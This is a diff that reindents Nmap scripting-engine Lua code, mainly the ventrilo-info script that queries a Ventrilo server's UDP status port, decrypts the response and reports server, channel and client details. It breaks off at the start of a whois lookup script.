head[1], head[2] = head[2], head[1]
|
head[1], head[2] = head[2], head[1]
|
||||||
local a1 = head[1]
|
local a1 = head[1]
|
||||||
if a1 == 0 then
|
if a1 == 0 then
|
||||||
return table.concat(head)
|
return table.concat(head)
|
||||||
end
|
end
|
||||||
local a2 = head[2]
|
local a2 = head[2]
|
||||||
|
|
||||||
for i = 3,20 do
|
for i = 3,20 do
|
||||||
head[i] = bit.band(head[i] - (crypt_head[a2 + 1] + ((i - 3) % 5)), 0xFF)
|
head[i] = bit.band(head[i] - (crypt_head[a2 + 1] + ((i - 3) % 5)), 0xFF)
|
||||||
a2 = bit.band(a2 + a1, 0xFF)
|
a2 = bit.band(a2 + a1, 0xFF)
|
||||||
end
|
end
|
||||||
|
|
||||||
for i = 3,19,2 do
|
for i = 3,19,2 do
|
||||||
head[i], head[i + 1] = head[i + 1], head[i]
|
head[i], head[i + 1] = head[i + 1], head[i]
|
||||||
end
|
end
|
||||||
|
|
||||||
local id = head[7] + bit.lshift(head[8], 8)
|
local id = head[7] + bit.lshift(head[8], 8)
|
||||||
local totlen = head[9] + bit.lshift(head[10], 8)
|
local totlen = head[9] + bit.lshift(head[10], 8)
|
||||||
local len = head[11] + bit.lshift(head[12], 8)
|
local len = head[11] + bit.lshift(head[12], 8)
|
||||||
local totpck = head[13] + bit.lshift(head[14], 8)
|
local totpck = head[13] + bit.lshift(head[14], 8)
|
||||||
local pck = head[15] + bit.lshift(head[16], 8)
|
local pck = head[15] + bit.lshift(head[16], 8)
|
||||||
local key = head[17] + bit.lshift(head[18], 8)
|
local key = head[17] + bit.lshift(head[18], 8)
|
||||||
local crc_sum = head[19] + bit.lshift(head[20], 8)
|
local crc_sum = head[19] + bit.lshift(head[20], 8)
|
||||||
|
|
||||||
return id, len, totlen, pck, totpck, key, crc_sum
|
return id, len, totlen, pck, totpck, key, crc_sum
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Decrypts the Ventrilo UDP status response data segment.
|
-- Decrypts the Ventrilo UDP status response data segment.
|
||||||
@@ -310,21 +310,21 @@ end
|
|||||||
-- @param len length of the data segment of this response packet
|
-- @param len length of the data segment of this response packet
|
||||||
-- @param key key for decrypting the data segment
|
-- @param key key for decrypting the data segment
|
||||||
local dec_data = function(str, len, key)
|
local dec_data = function(str, len, key)
|
||||||
-- skip the header (first 20 bytes)
|
-- skip the header (first 20 bytes)
|
||||||
local data = { string.byte(str, 21, 20 + len) }
|
local data = { string.byte(str, 21, 20 + len) }
|
||||||
|
|
||||||
local a1 = bit.band(key, 0xFF)
|
local a1 = bit.band(key, 0xFF)
|
||||||
if a1 == 0 then
|
if a1 == 0 then
|
||||||
return table.concat(data)
|
return table.concat(data)
|
||||||
end
|
end
|
||||||
local a2 = bit.rshift(key, 8)
|
local a2 = bit.rshift(key, 8)
|
||||||
|
|
||||||
for i = 1,len do
|
for i = 1,len do
|
||||||
data[i] = bit.band(data[i] - (crypt_data[a2 + 1] + ((i - 1) % 72)), 0xFF)
|
data[i] = bit.band(data[i] - (crypt_data[a2 + 1] + ((i - 1) % 72)), 0xFF)
|
||||||
a2 = bit.band(a2 + a1, 0xFF)
|
a2 = bit.band(a2 + a1, 0xFF)
|
||||||
end
|
end
|
||||||
|
|
||||||
return string.char(table.unpack(data))
|
return string.char(table.unpack(data))
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Convenient wrapper for string.find(...). Returns the position of the end of
|
-- Convenient wrapper for string.find(...). Returns the position of the end of
|
||||||
@@ -336,8 +336,8 @@ end
|
|||||||
-- @return newpos position of the end of the match, or pos if no match found
|
-- @return newpos position of the end of the match, or pos if no match found
|
||||||
-- @return cap the first capture, or "n/a" if one was not found
|
-- @return cap the first capture, or "n/a" if one was not found
|
||||||
local str_find = function(str, pattern, pos)
|
local str_find = function(str, pattern, pos)
|
||||||
local _, newpos, cap = string.find(str, pattern, pos)
|
local _, newpos, cap = string.find(str, pattern, pos)
|
||||||
return newpos or pos, cap or "n/a"
|
return newpos or pos, cap or "n/a"
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Calculates the CRC checksum used for checking the integrity of the received
|
-- Calculates the CRC checksum used for checking the integrity of the received
|
||||||
@@ -345,322 +345,322 @@ end
|
|||||||
-- @param data data to calculate the checksum of
|
-- @param data data to calculate the checksum of
|
||||||
-- @return 2 byte CRC checksum as seen in Ventrilo UDP status headers
|
-- @return 2 byte CRC checksum as seen in Ventrilo UDP status headers
|
||||||
local crc = function(data)
|
local crc = function(data)
|
||||||
local sum = 0
|
local sum = 0
|
||||||
for i = 1,#data do
|
for i = 1,#data do
|
||||||
sum = bit.band(bit.bxor(crypt_crc[bit.rshift(sum, 8) + 1],
|
sum = bit.band(bit.bxor(crypt_crc[bit.rshift(sum, 8) + 1],
|
||||||
data:byte(i), bit.lshift(sum, 8)), 0xFFFF)
|
data:byte(i), bit.lshift(sum, 8)), 0xFFFF)
|
||||||
end
|
end
|
||||||
return sum
|
return sum
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Parses the status response data segment and constructs an output table.
|
-- Parses the status response data segment and constructs an output table.
|
||||||
-- @param Ventrilo UDP status response data segment
|
-- @param Ventrilo UDP status response data segment
|
||||||
-- @return info output table representing Ventrilo UDP status response info
|
-- @return info output table representing Ventrilo UDP status response info
|
||||||
local o_table = function(data)
|
local o_table = function(data)
|
||||||
local info = stdnse.output_table()
|
local info = stdnse.output_table()
|
||||||
local pos
|
local pos
|
||||||
|
|
||||||
pos, info.name = str_find(data, "NAME: ([^\n]*)", 0)
|
pos, info.name = str_find(data, "NAME: ([^\n]*)", 0)
|
||||||
pos, info.phonetic = str_find(data, "PHONETIC: ([^\n]*)", pos)
|
pos, info.phonetic = str_find(data, "PHONETIC: ([^\n]*)", pos)
|
||||||
pos, info.comment = str_find(data, "COMMENT: ([^\n]*)", pos)
|
pos, info.comment = str_find(data, "COMMENT: ([^\n]*)", pos)
|
||||||
pos, info.auth = str_find(data, "AUTH: ([^\n]*)", pos)
|
pos, info.auth = str_find(data, "AUTH: ([^\n]*)", pos)
|
||||||
pos, info.maxclients = str_find(data, "MAXCLIENTS: ([^\n]*)", pos)
|
pos, info.maxclients = str_find(data, "MAXCLIENTS: ([^\n]*)", pos)
|
||||||
pos, info.voicecodec = str_find(data, "VOICECODEC: ([^\n]*)", pos)
|
pos, info.voicecodec = str_find(data, "VOICECODEC: ([^\n]*)", pos)
|
||||||
pos, info.voiceformat = str_find(data, "VOICEFORMAT: ([^\n]*)", pos)
|
pos, info.voiceformat = str_find(data, "VOICEFORMAT: ([^\n]*)", pos)
|
||||||
pos, info.uptime = str_find(data, "UPTIME: ([^\n]*)", pos)
|
pos, info.uptime = str_find(data, "UPTIME: ([^\n]*)", pos)
|
||||||
pos, info.platform = str_find(data, "PLATFORM: ([^\n]*)", pos)
|
pos, info.platform = str_find(data, "PLATFORM: ([^\n]*)", pos)
|
||||||
pos, info.version = str_find(data, "VERSION: ([^\n]*)", pos)
|
pos, info.version = str_find(data, "VERSION: ([^\n]*)", pos)
|
||||||
|
|
||||||
-- channels
|
-- channels
|
||||||
pos, info.channelcount = str_find(data, "CHANNELCOUNT: ([^\n]*)", pos)
|
pos, info.channelcount = str_find(data, "CHANNELCOUNT: ([^\n]*)", pos)
|
||||||
pos, info.channelfields = str_find(data, "CHANNELFIELDS: ([^\n]*)", pos)
|
pos, info.channelfields = str_find(data, "CHANNELFIELDS: ([^\n]*)", pos)
|
||||||
|
|
||||||
-- construct channel fields as a nice list instead of the raw data
|
-- construct channel fields as a nice list instead of the raw data
|
||||||
local channelfields = {}
|
local channelfields = {}
|
||||||
for channelfield in string.gmatch(info.channelfields, "[^,\n]+") do
|
for channelfield in string.gmatch(info.channelfields, "[^,\n]+") do
|
||||||
channelfields[#channelfields + 1] = channelfield
|
channelfields[#channelfields + 1] = channelfield
|
||||||
|
end
|
||||||
|
info.channelfields = channelfields
|
||||||
|
|
||||||
|
-- parse and add channels
|
||||||
|
info.channels = stdnse.output_table()
|
||||||
|
-- add top level lobby channel (CID = 0)
|
||||||
|
info.channels["0"] = stdnse.output_table()
|
||||||
|
info.channels["0"].NAME = "<top level lobby>"
|
||||||
|
info.channels["0"].CID = "0"
|
||||||
|
while string.sub(data, pos + 2, pos + 10) == "CHANNEL: " do
|
||||||
|
local channel = stdnse.output_table()
|
||||||
|
for _, channelfield in ipairs(info.channelfields) do
|
||||||
|
pos, channel[channelfield] = str_find(data, channelfield .. "=([^,\n]*)", pos)
|
||||||
end
|
end
|
||||||
info.channelfields = channelfields
|
if channel.CID then
|
||||||
|
info.channels[channel.CID] = channel
|
||||||
-- parse and add channels
|
|
||||||
info.channels = stdnse.output_table()
|
|
||||||
-- add top level lobby channel (CID = 0)
|
|
||||||
info.channels["0"] = stdnse.output_table()
|
|
||||||
info.channels["0"].NAME = "<top level lobby>"
|
|
||||||
info.channels["0"].CID = "0"
|
|
||||||
while string.sub(data, pos + 2, pos + 10) == "CHANNEL: " do
|
|
||||||
local channel = stdnse.output_table()
|
|
||||||
for _, channelfield in ipairs(info.channelfields) do
|
|
||||||
pos, channel[channelfield] = str_find(data, channelfield .. "=([^,\n]*)", pos)
|
|
||||||
end
|
|
||||||
if channel.CID then
|
|
||||||
info.channels[channel.CID] = channel
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
-- clients
|
-- clients
|
||||||
pos, info.clientcount = str_find(data, "CLIENTCOUNT: ([^\n]*)", pos)
|
pos, info.clientcount = str_find(data, "CLIENTCOUNT: ([^\n]*)", pos)
|
||||||
pos, info.clientfields = str_find(data, "CLIENTFIELDS: ([^\n]*)", pos)
|
pos, info.clientfields = str_find(data, "CLIENTFIELDS: ([^\n]*)", pos)
|
||||||
|
|
||||||
-- construct client fields as a nice list instead of the raw data
|
-- construct client fields as a nice list instead of the raw data
|
||||||
local clientfields = {}
|
local clientfields = {}
|
||||||
for clientfield in string.gmatch(info.clientfields, "[^,\n]+") do
|
for clientfield in string.gmatch(info.clientfields, "[^,\n]+") do
|
||||||
clientfields[#clientfields + 1] = clientfield
|
clientfields[#clientfields + 1] = clientfield
|
||||||
|
end
|
||||||
|
info.clientfields = clientfields
|
||||||
|
|
||||||
|
-- parse and add clients
|
||||||
|
while string.sub(data, pos + 2, pos + 9) == "CLIENT: " do
|
||||||
|
local client = stdnse.output_table()
|
||||||
|
for _, clientfield in ipairs(info.clientfields) do
|
||||||
|
pos, client[clientfield] = str_find(data, clientfield .. "=([^,\n]*)", pos)
|
||||||
end
|
end
|
||||||
info.clientfields = clientfields
|
if client.CID then
|
||||||
|
if not info.channels[client.CID] then
|
||||||
-- parse and add clients
|
-- weird clients with unrecognized CID are put in the -1 channel
|
||||||
while string.sub(data, pos + 2, pos + 9) == "CLIENT: " do
|
if not info.channels["-1"] then
|
||||||
local client = stdnse.output_table()
|
-- add channel for weird clients with unrecognized CIDs
|
||||||
for _, clientfield in ipairs(info.clientfields) do
|
info.channels["-1"] = stdnse.output_table()
|
||||||
pos, client[clientfield] = str_find(data, clientfield .. "=([^,\n]*)", pos)
|
info.channels["-1"].NAME = "<clients with unrecognized CIDs>"
|
||||||
end
|
info.channels["-1"].CID = "-1"
|
||||||
if client.CID then
|
info.channels["-1"].clients = {}
|
||||||
if not info.channels[client.CID] then
|
|
||||||
-- weird clients with unrecognized CID are put in the -1 channel
|
|
||||||
if not info.channels["-1"] then
|
|
||||||
-- add channel for weird clients with unrecognized CIDs
|
|
||||||
info.channels["-1"] = stdnse.output_table()
|
|
||||||
info.channels["-1"].NAME = "<clients with unrecognized CIDs>"
|
|
||||||
info.channels["-1"].CID = "-1"
|
|
||||||
info.channels["-1"].clients = {}
|
|
||||||
end
|
|
||||||
table.insert(info.channels["-1"].clients, client)
|
|
||||||
elseif not info.channels[client.CID].clients then
|
|
||||||
-- channel had no clients, create table for the 1st client
|
|
||||||
info.channels[client.CID].clients = {}
|
|
||||||
table.insert(info.channels[client.CID].clients, client)
|
|
||||||
else
|
|
||||||
table.insert(info.channels[client.CID].clients, client)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
table.insert(info.channels["-1"].clients, client)
|
||||||
|
elseif not info.channels[client.CID].clients then
|
||||||
|
-- channel had no clients, create table for the 1st client
|
||||||
|
info.channels[client.CID].clients = {}
|
||||||
|
table.insert(info.channels[client.CID].clients, client)
|
||||||
|
else
|
||||||
|
table.insert(info.channels[client.CID].clients, client)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
return info
|
return info
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Constructs an output string from an output table for use in normal output.
|
-- Constructs an output string from an output table for use in normal output.
|
||||||
-- @param info output table
|
-- @param info output table
|
||||||
-- @return output_string output string
|
-- @return output_string output string
|
||||||
local o_str = function(info)
|
local o_str = function(info)
|
||||||
local buf = strbuf.new()
|
local buf = strbuf.new()
|
||||||
buf = buf .. "\nname: "
|
buf = buf .. "\nname: "
|
||||||
buf = buf .. info.name
|
buf = buf .. info.name
|
||||||
buf = buf .. "\nphonetic: "
|
buf = buf .. "\nphonetic: "
|
||||||
buf = buf .. info.phonetic
|
buf = buf .. info.phonetic
|
||||||
buf = buf .. "\ncomment: "
|
buf = buf .. "\ncomment: "
|
||||||
buf = buf .. info.comment
|
buf = buf .. info.comment
|
||||||
buf = buf .. "\nauth: "
|
buf = buf .. "\nauth: "
|
||||||
buf = buf .. auth_str(info.auth)
|
buf = buf .. auth_str(info.auth)
|
||||||
buf = buf .. "\nmax. clients: "
|
buf = buf .. "\nmax. clients: "
|
||||||
buf = buf .. info.maxclients
|
buf = buf .. info.maxclients
|
||||||
buf = buf .. "\nvoice codec: "
|
buf = buf .. "\nvoice codec: "
|
||||||
buf = buf .. info.voicecodec
|
buf = buf .. info.voicecodec
|
||||||
buf = buf .. "\nvoice format: "
|
buf = buf .. "\nvoice format: "
|
||||||
buf = buf .. info.voiceformat
|
buf = buf .. info.voiceformat
|
||||||
buf = buf .. "\nuptime: "
|
buf = buf .. "\nuptime: "
|
||||||
buf = buf .. uptime_str(info.uptime)
|
buf = buf .. uptime_str(info.uptime)
|
||||||
buf = buf .. "\nplatform: "
|
buf = buf .. "\nplatform: "
|
||||||
buf = buf .. info.platform
|
buf = buf .. info.platform
|
||||||
buf = buf .. "\nversion: "
|
buf = buf .. "\nversion: "
|
||||||
buf = buf .. info.version
|
buf = buf .. info.version
|
||||||
buf = buf .. "\nchannel count: "
|
buf = buf .. "\nchannel count: "
|
||||||
buf = buf .. info.channelcount
|
buf = buf .. info.channelcount
|
||||||
buf = buf .. "\nchannel fields: "
|
buf = buf .. "\nchannel fields: "
|
||||||
for i, channelfield in ipairs(info.channelfields) do
|
for i, channelfield in ipairs(info.channelfields) do
|
||||||
|
buf = buf .. channelfield
|
||||||
|
if i ~= #info.channelfields then
|
||||||
|
buf = buf .. ", "
|
||||||
|
end
|
||||||
|
end
|
||||||
|
buf = buf .. "\nclient count: "
|
||||||
|
buf = buf .. info.clientcount
|
||||||
|
buf = buf .. "\nclient fields: "
|
||||||
|
for i, clientfield in ipairs(info.clientfields) do
|
||||||
|
buf = buf .. clientfield
|
||||||
|
if i ~= #info.clientfields then
|
||||||
|
buf = buf .. ", "
|
||||||
|
end
|
||||||
|
end
|
||||||
|
buf = buf .. "\nchannels:"
|
||||||
|
for i, channel in pairs(info.channels) do
|
||||||
|
buf = buf .. "\n"
|
||||||
|
buf = buf .. channel.NAME
|
||||||
|
buf = buf .. " ("
|
||||||
|
for j, channelfield in ipairs(info.channelfields) do
|
||||||
|
if channelfield ~= "NAME" and channelfield ~= "n/a" then
|
||||||
buf = buf .. channelfield
|
buf = buf .. channelfield
|
||||||
if i ~= #info.channelfields then
|
buf = buf .. ": "
|
||||||
buf = buf .. ", "
|
buf = buf .. (channel[channelfield] or "n/a")
|
||||||
|
if j ~= #info.channelfields then
|
||||||
|
buf = buf .. ", "
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
buf = buf .. "\nclient count: "
|
buf = buf .. "): "
|
||||||
buf = buf .. info.clientcount
|
if not channel.clients then
|
||||||
buf = buf .. "\nclient fields: "
|
buf = buf .. "<empty>"
|
||||||
for i, clientfield in ipairs(info.clientfields) do
|
else
|
||||||
buf = buf .. clientfield
|
for j, client in ipairs(channel.clients) do
|
||||||
if i ~= #info.clientfields then
|
buf = buf .. "\n "
|
||||||
buf = buf .. ", "
|
buf = buf .. client.NAME
|
||||||
end
|
|
||||||
end
|
|
||||||
buf = buf .. "\nchannels:"
|
|
||||||
for i, channel in pairs(info.channels) do
|
|
||||||
buf = buf .. "\n"
|
|
||||||
buf = buf .. channel.NAME
|
|
||||||
buf = buf .. " ("
|
buf = buf .. " ("
|
||||||
for j, channelfield in ipairs(info.channelfields) do
|
for k, clientfield in ipairs(info.clientfields) do
|
||||||
if channelfield ~= "NAME" and channelfield ~= "n/a" then
|
if clientfield ~= "NAME" and clientfield ~= "CID" then
|
||||||
buf = buf .. channelfield
|
buf = buf .. clientfield
|
||||||
buf = buf .. ": "
|
buf = buf .. ": "
|
||||||
buf = buf .. (channel[channelfield] or "n/a")
|
buf = buf .. client[clientfield]
|
||||||
if j ~= #info.channelfields then
|
if k ~= #info.clientfields then
|
||||||
buf = buf .. ", "
|
buf = buf .. ", "
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
buf = buf .. "): "
|
|
||||||
if not channel.clients then
|
|
||||||
buf = buf .. "<empty>"
|
|
||||||
else
|
|
||||||
for j, client in ipairs(channel.clients) do
|
|
||||||
buf = buf .. "\n "
|
|
||||||
buf = buf .. client.NAME
|
|
||||||
buf = buf .. " ("
|
|
||||||
for k, clientfield in ipairs(info.clientfields) do
|
|
||||||
if clientfield ~= "NAME" and clientfield ~= "CID" then
|
|
||||||
buf = buf .. clientfield
|
|
||||||
buf = buf .. ": "
|
|
||||||
buf = buf .. client[clientfield]
|
|
||||||
if k ~= #info.clientfields then
|
|
||||||
buf = buf .. ", "
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
return strbuf.dump(buf, "")
|
return strbuf.dump(buf, "")
|
||||||
end
|
end
|
||||||
|
|
||||||
portrule = shortport.version_port_or_service({3784}, "ventrilo", {"tcp", "udp"})
|
portrule = shortport.version_port_or_service({3784}, "ventrilo", {"tcp", "udp"})
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number)
|
local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number)
|
||||||
mutex("lock")
|
mutex("lock")
|
||||||
|
|
||||||
if host.registry["ventrilo-info"] == nil then
|
if host.registry["ventrilo-info"] == nil then
|
||||||
host.registry["ventrilo-info"] = {}
|
host.registry["ventrilo-info"] = {}
|
||||||
|
end
|
||||||
|
-- Maybe the script already ran for this port number on another protocol
|
||||||
|
local r = host.registry["ventrilo-info"][port.number]
|
||||||
|
if r == nil then
|
||||||
|
r = {}
|
||||||
|
host.registry["ventrilo-info"][port.number] = r
|
||||||
|
|
||||||
|
local socket = nmap.new_socket()
|
||||||
|
socket:set_timeout(2000)
|
||||||
|
|
||||||
|
local cleanup = function()
|
||||||
|
socket:close()
|
||||||
|
mutex("done")
|
||||||
end
|
end
|
||||||
-- Maybe the script already ran for this port number on another protocol
|
local try = nmap.new_try(cleanup)
|
||||||
local r = host.registry["ventrilo-info"][port.number]
|
|
||||||
if r == nil then
|
|
||||||
r = {}
|
|
||||||
host.registry["ventrilo-info"][port.number] = r
|
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local udpport = { number = port.number, protocol = "udp" }
|
||||||
socket:set_timeout(2000)
|
try(socket:connect(host.ip, udpport))
|
||||||
|
|
||||||
local cleanup = function()
|
local status, response
|
||||||
socket:close()
|
-- try a couple of times on timeout, the service seems to not
|
||||||
mutex("done")
|
-- respond if multiple requests come within a short timeframe
|
||||||
end
|
for _ = 1,3 do
|
||||||
local try = nmap.new_try(cleanup)
|
try(socket:send(static_probe_payload))
|
||||||
|
status, response = socket:receive()
|
||||||
local udpport = { number = port.number, protocol = "udp" }
|
if status then
|
||||||
try(socket:connect(host.ip, udpport))
|
nmap.set_port_state(host, udpport, "open")
|
||||||
|
break
|
||||||
local status, response
|
end
|
||||||
-- try a couple of times on timeout, the service seems to not
|
end
|
||||||
-- respond if multiple requests come within a short timeframe
|
if not status then
|
||||||
for _ = 1,3 do
|
-- 3 timeouts, no response
|
||||||
try(socket:send(static_probe_payload))
|
cleanup()
|
||||||
status, response = socket:receive()
|
return
|
||||||
if status then
|
|
||||||
nmap.set_port_state(host, udpport, "open")
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
if not status then
|
|
||||||
-- 3 timeouts, no response
|
|
||||||
cleanup()
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
-- received the first packet, process it and others if they come
|
|
||||||
local fulldata = {}
|
|
||||||
local fulldatalen = 0
|
|
||||||
local curlen = 0
|
|
||||||
local head_crc_sum
|
|
||||||
while true do
|
|
||||||
-- decrypt received header and extract relevant information
|
|
||||||
local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response)
|
|
||||||
|
|
||||||
if id == static_probe_id then
|
|
||||||
curlen = curlen + len
|
|
||||||
head_crc_sum = crc_sum
|
|
||||||
|
|
||||||
-- check for an invalid response
|
|
||||||
if #response < 20 or pck >= totpck or
|
|
||||||
len > 492 or curlen > totlen then
|
|
||||||
stdnse.print_debug("Invalid response. Aborting script.")
|
|
||||||
cleanup()
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
-- keep track of the length of fulldata (# isn't applicable)
|
|
||||||
if fulldata[pck + 1] == nil then
|
|
||||||
fulldatalen = fulldatalen + 1
|
|
||||||
end
|
|
||||||
-- accumulate UDP packets that may not necessarily come in proper
|
|
||||||
-- order; arrange them by packet id
|
|
||||||
fulldata[pck + 1] = dec_data(response, len, key)
|
|
||||||
end
|
|
||||||
|
|
||||||
-- check for invalid states in communication
|
|
||||||
if (fulldatalen > totpck) or (curlen > totlen)
|
|
||||||
or (fulldatalen == totpck and curlen ~= totlen)
|
|
||||||
or (curlen == totlen and fulldatalen ~= totpck) then
|
|
||||||
stdnse.print_debug("Invalid state (fulldatalen = " .. fulldatalen ..
|
|
||||||
"; totpck = " .. totpck .. "; curlen = " .. curlen ..
|
|
||||||
"; totlen = " .. totlen .. "). Aborting script.")
|
|
||||||
cleanup()
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
-- check for valid end of communication
|
|
||||||
if fulldatalen == totpck and curlen == totlen then
|
|
||||||
break
|
|
||||||
end
|
|
||||||
|
|
||||||
-- receive another packet
|
|
||||||
status, response = socket:receive()
|
|
||||||
if not status then
|
|
||||||
stdnse.print_debug("Response packets stopped coming midway. Aborting script.")
|
|
||||||
cleanup()
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
socket:close()
|
|
||||||
|
|
||||||
-- concatenate received data into a single string for further use
|
|
||||||
local fulldata_str = table.concat(fulldata)
|
|
||||||
|
|
||||||
-- check for an invalid checksum on the response data sections (no headers)
|
|
||||||
local fulldata_crc_sum = crc(fulldata_str)
|
|
||||||
if fulldata_crc_sum ~= head_crc_sum then
|
|
||||||
stdnse.print_debug("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum)
|
|
||||||
cleanup()
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
-- parse the received data string into an output table
|
|
||||||
r.info = o_table(fulldata_str)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
mutex("done")
|
-- received the first packet, process it and others if they come
|
||||||
|
local fulldata = {}
|
||||||
|
local fulldatalen = 0
|
||||||
|
local curlen = 0
|
||||||
|
local head_crc_sum
|
||||||
|
while true do
|
||||||
|
-- decrypt received header and extract relevant information
|
||||||
|
local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response)
|
||||||
|
|
||||||
-- If the registry is empty the port was probed but Ventrilo wasn't detected
|
if id == static_probe_id then
|
||||||
if next(r) == nil then
|
curlen = curlen + len
|
||||||
|
head_crc_sum = crc_sum
|
||||||
|
|
||||||
|
-- check for an invalid response
|
||||||
|
if #response < 20 or pck >= totpck or
|
||||||
|
len > 492 or curlen > totlen then
|
||||||
|
stdnse.print_debug("Invalid response. Aborting script.")
|
||||||
|
cleanup()
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
-- keep track of the length of fulldata (# isn't applicable)
|
||||||
|
if fulldata[pck + 1] == nil then
|
||||||
|
fulldatalen = fulldatalen + 1
|
||||||
|
end
|
||||||
|
-- accumulate UDP packets that may not necessarily come in proper
|
||||||
|
-- order; arrange them by packet id
|
||||||
|
fulldata[pck + 1] = dec_data(response, len, key)
|
||||||
|
end
|
||||||
|
|
||||||
|
-- check for invalid states in communication
|
||||||
|
if (fulldatalen > totpck) or (curlen > totlen)
|
||||||
|
or (fulldatalen == totpck and curlen ~= totlen)
|
||||||
|
or (curlen == totlen and fulldatalen ~= totpck) then
|
||||||
|
stdnse.print_debug("Invalid state (fulldatalen = " .. fulldatalen ..
|
||||||
|
"; totpck = " .. totpck .. "; curlen = " .. curlen ..
|
||||||
|
"; totlen = " .. totlen .. "). Aborting script.")
|
||||||
|
cleanup()
|
||||||
return
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
-- check for valid end of communication
|
||||||
|
if fulldatalen == totpck and curlen == totlen then
|
||||||
|
break
|
||||||
|
end
|
||||||
|
|
||||||
|
-- receive another packet
|
||||||
|
status, response = socket:receive()
|
||||||
|
if not status then
|
||||||
|
stdnse.print_debug("Response packets stopped coming midway. Aborting script.")
|
||||||
|
cleanup()
|
||||||
|
return
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
port.version.name = "ventrilo"
|
socket:close()
|
||||||
port.version.name_confidence = 10
|
|
||||||
port.version.product = "Ventrilo"
|
-- concatenate received data into a single string for further use
|
||||||
port.version.version = r.info.version
|
local fulldata_str = table.concat(fulldata)
|
||||||
port.version.ostype = r.info.platform
|
|
||||||
port.version.extrainfo = "; name: ".. r.info.name
|
-- check for an invalid checksum on the response data sections (no headers)
|
||||||
if port.protocol == "tcp" then
|
local fulldata_crc_sum = crc(fulldata_str)
|
||||||
port.version.extrainfo = "voice port" .. port.version.extrainfo
|
if fulldata_crc_sum ~= head_crc_sum then
|
||||||
else
|
stdnse.print_debug("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum)
|
||||||
port.version.extrainfo = "status port" .. port.version.extrainfo
|
cleanup()
|
||||||
|
return
|
||||||
end
|
end
|
||||||
port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime)
|
|
||||||
port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth)
|
|
||||||
|
|
||||||
nmap.set_port_version(host, port, "hardmatched")
|
-- parse the received data string into an output table
|
||||||
|
r.info = o_table(fulldata_str)
|
||||||
|
end
|
||||||
|
|
||||||
-- an output table for XML output and a custom string for normal output
|
mutex("done")
|
||||||
return r.info, o_str(r.info)
|
|
||||||
|
-- If the registry is empty the port was probed but Ventrilo wasn't detected
|
||||||
|
if next(r) == nil then
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
port.version.name = "ventrilo"
|
||||||
|
port.version.name_confidence = 10
|
||||||
|
port.version.product = "Ventrilo"
|
||||||
|
port.version.version = r.info.version
|
||||||
|
port.version.ostype = r.info.platform
|
||||||
|
port.version.extrainfo = "; name: ".. r.info.name
|
||||||
|
if port.protocol == "tcp" then
|
||||||
|
port.version.extrainfo = "voice port" .. port.version.extrainfo
|
||||||
|
else
|
||||||
|
port.version.extrainfo = "status port" .. port.version.extrainfo
|
||||||
|
end
|
||||||
|
port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime)
|
||||||
|
port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth)
|
||||||
|
|
||||||
|
nmap.set_port_version(host, port, "hardmatched")
|
||||||
|
|
||||||
|
-- an output table for XML output and a custom string for normal output
|
||||||
|
return r.info, o_str(r.info)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -90,86 +90,86 @@ local string = require "string"
|
|||||||
local table = require "table"
|
local table = require "table"
|
||||||
|
|
||||||
hostrule = function( host )
|
hostrule = function( host )
|
||||||
local is_private, err = ipOps.isPrivate( host.ip )
|
local is_private, err = ipOps.isPrivate( host.ip )
|
||||||
if is_private == nil then
|
if is_private == nil then
|
||||||
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
|
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
return not is_private
|
return not is_private
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function( host )
|
action = function( host )
|
||||||
|
|
||||||
local mutexes = {}
|
local mutexes = {}
|
||||||
|
|
||||||
-- If the user has provided a domain name.
|
-- If the user has provided a domain name.
|
||||||
if host.targetname then
|
if host.targetname then
|
||||||
|
|
||||||
local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"}
|
local referral_patterns = {"refer:%s*(.-)\n", "Whois%sServer:%s*(.-)\n"}
|
||||||
|
|
||||||
-- Remove www prefix and add a newline.
|
